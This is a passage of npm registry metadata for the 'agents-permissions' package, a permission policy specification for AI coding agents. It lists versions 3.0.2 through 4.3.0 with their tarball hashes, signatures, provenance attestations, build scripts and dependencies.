Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_3.0.2_1778449102099_0.5469644138236314","host":"s3://npm-registry-packages-npm-production"}},"3.0.3":{"name":"agents-permissions","version":"3.0.3","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@3.0.3","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","dist":{"shasum":"b60bdd6402df0708e37fa98ffe878c9230f5cb23","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-3.0.3.tgz","fileCount":36,"integrity":"sha512-0NLgg7faSCzgm7k8i/qeS+PgZmQsC2ON24ytbGb0JfilytIkJfjSExp5HfH4+MoG9l5YMwJo01ZSLDwDL034tQ==","signatures":[{"sig":"MEUCIDcZ5wg7B6hB0tNnXnOVGU1LLiQvHO3b7tRPtMnBIFkoAiEAzZii1KZ8RogSoILrR7xDtiBu1pjLkdbzyN0FHXVpps4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@3.0.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":431950},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_3.0.3_1778452294510_0.18962550667456957","host":"s3://npm-registry-packages-npm-production"}},"3.0.4":{"name":"agents-permissions","version":"3.0.4","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@3.0.4","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","dist":{"shasum":"5a5ae60a83aa1b9e78df6c083a8ee78bafb50287","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-3.0.4.tgz","fileCount":36,"integrity":"sha512-LmeYAiTfo/Cs7lcrx3qRJavfIVH5U6b1BhRdhjjs/UmDc4R09gn3c8y8x9RWIvtR0ZqKviirzHVOoqOVVib6WQ==","signatures":[{"sig":"MEQCIAQIzZlSt7DKK6KwS8+pZz1nRdLh63h3ksV2WeMi8pLYAiAYQ9AeyI5N7SmgKLoXk3DvPEpfVQhDkXtrwfH+whch8w==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@3.0.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":431950},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_3.0.4_1778452619005_0.4079221889607396","host":"s3://npm-registry-packages-npm-production"}},"3.0.5":{"name":"agents-permissions","version":"3.0.5","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@3.0.5","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","dist":{"shasum":"60dfe7678975f808ec16b0897876520154d16d79","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-3.0.5.tgz","fileCount":37,"integrity":"sha512-QEsShrQl76uxnBtmEFuYS/uFe+wmsoNicqxTGpbqkV/Dkbg1zhNuB17kioRSq6XpdmSRliTMWndft9wjwDbbJQ==","signatures":[{"sig":"MEUCIQCvmb2DcQRBxTuZ299URs/3JJnpLf8FS99ql1gdvPqsuAIgEORc2YfvH94nkme5lwEBh6t4GT4ZaWNQkTZwSjC1zgc=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@3.0.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":443792},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_3.0.5_1778452967749_0.3061363333828273","host":"s3://npm-registry-packages-npm-production"}},"3.0.6":{"name":"agents-permissions","version":"3.0.6","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@3.0.6","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","dist":{"shasum":"0fe7db2d61460c886788496f64c59b08239da474","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-3.0.6.tgz","fileCount":37,"integrity":"sha512-4MLTz/Lft/7ZxwXhD80Ce1+hApJRPSIp3Icc3Iao0AVrNcm8JRTQPa8tGX3CF04KGC8H3c/ErPXZNHBYY4x0TQ==","signatures":[{"sig":"MEUCIQDVd9F3NoIAQyiKaorclRmfu3ivZl9Cn6WJv6UU1y/lCgIgel8OWdQ5vZY7AkS/7zbykqGjXNraOoaw8aRQJ9r7oQY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@3.0.6","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":443792},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_3.0.6_1778453107225_0.413755162726132","host":"s3://npm-registry-packages-npm-production"}},"4.0.0":{"name":"agents-permissions","version":"4.0.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@4.0.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","dist":{"shasum":"a3d1a13725bd99b7bcb656887d028106a660f6b4","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-4.0.0.tgz","fileCount":37,"integrity":"sha512-UGTjePXc3cV/m4fStUVguSooXbIVpmZJG4vEryEZcfD7NFj6F+sp/7D+JWDaL2RpYKjv26LtxJXV9jSRMlYf5w==","signatures":[{"sig":"MEYCIQCZGpK/VkGggiAV+6lEQDh+GLsi0l4SGnrcOozyoQz1WgIhAI+CE7Byjmb3WWcAu9aD3lO/aICLz3RHee6aHMrpyWYN","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@4.0.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":439426},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_4.0.0_1778454867864_0.2580616836711984","host":"s3://npm-registry-packages-npm-production"}},"4.1.0":{"name":"agents-permissions","version":"4.1.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@4.1.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"20f589adab407be05e2ae0ed9720c7957fe945e3","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-4.1.0.tgz","fileCount":43,"integrity":"sha512-QXEkSV3z0b4dJa3/c0fvyKeEyRxCk7/b8LBcezddhfVC41EzhHB1at9mbBIY0OqXZveP6JyeX7CWJ4mke7Ss8A==","signatures":[{"sig":"MEQCIARLNrC/UyREKyBvqq9Uh/dEI7shmW7g1oqpCRBqMvvdAiB4S6apqsRisu/Fz5goSG5/02gxXUepTvW78jj3xQEovw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@4.1.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":479606},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_4.1.0_1778486015048_0.9880760063021201","host":"s3://npm-registry-packages-npm-production"}},"4.2.0":{"name":"agents-permissions","version":"4.2.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@4.2.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"67214a2bd0d361e20ad5163dbb584ba32bc4a051","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-4.2.0.tgz","fileCount":43,"integrity":"sha512-X15q6BmhhvheeCTyfY7BPp/+d6S+ohjwPGXfssMTB7Y4Qi/KWDHD+lqQIhmioJUDRM+Q0fk1r/vSp4R8PuffYQ==","signatures":[{"sig":"MEUCIQC6uXOwh0UtsFfh8k68tPpdhiHZeduG3C3j8dAS7AIjagIgTpsz0U8T5V23Z/5jdRC38xOi+3lbePuXcpl3ZKCx4gU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@4.2.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":551048},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"26.0.0","dependencies":{"zod":"^4.4.3"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^25.6.2","lint-staged":"^17.0.3","@commitlint/cli":"^21.0.0","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_4.2.0_1778495858114_0.8285997069903688","host":"s3://npm-registry-packages-npm-production"}},"4.3.0":{"name":"agents-permissions","version":"4.3.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","cross-agent","policy"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@4.3.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bin":{"agent-perms":"./dist/cli.mjs"},"dist":{"shasum":"cba531f04769e45b1d2f7df17e66ccf67549d074","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-4.3.0.tgz","fileCount":51,"integrity":"sha512-Iu02jlEskRJy1nx5ICxwrudLHh5TqbGXgkDO1rkdpOwspeeDW8hL4M7oexUs5hCaERWZ9EnyYiy9S4w7/gkmSg==","signatures":[{"sig":"MEYCIQCaVteF8Em8TvG6PRyVghnqpFo++jwUR7g39BKp7uqsewIhAL90ACIguPmW7I3FuhCQ1S24nQkGPjP8V76C6e0hci/U","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@4.3.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":648509},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=18"},"exports":{"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache src","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix src","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub 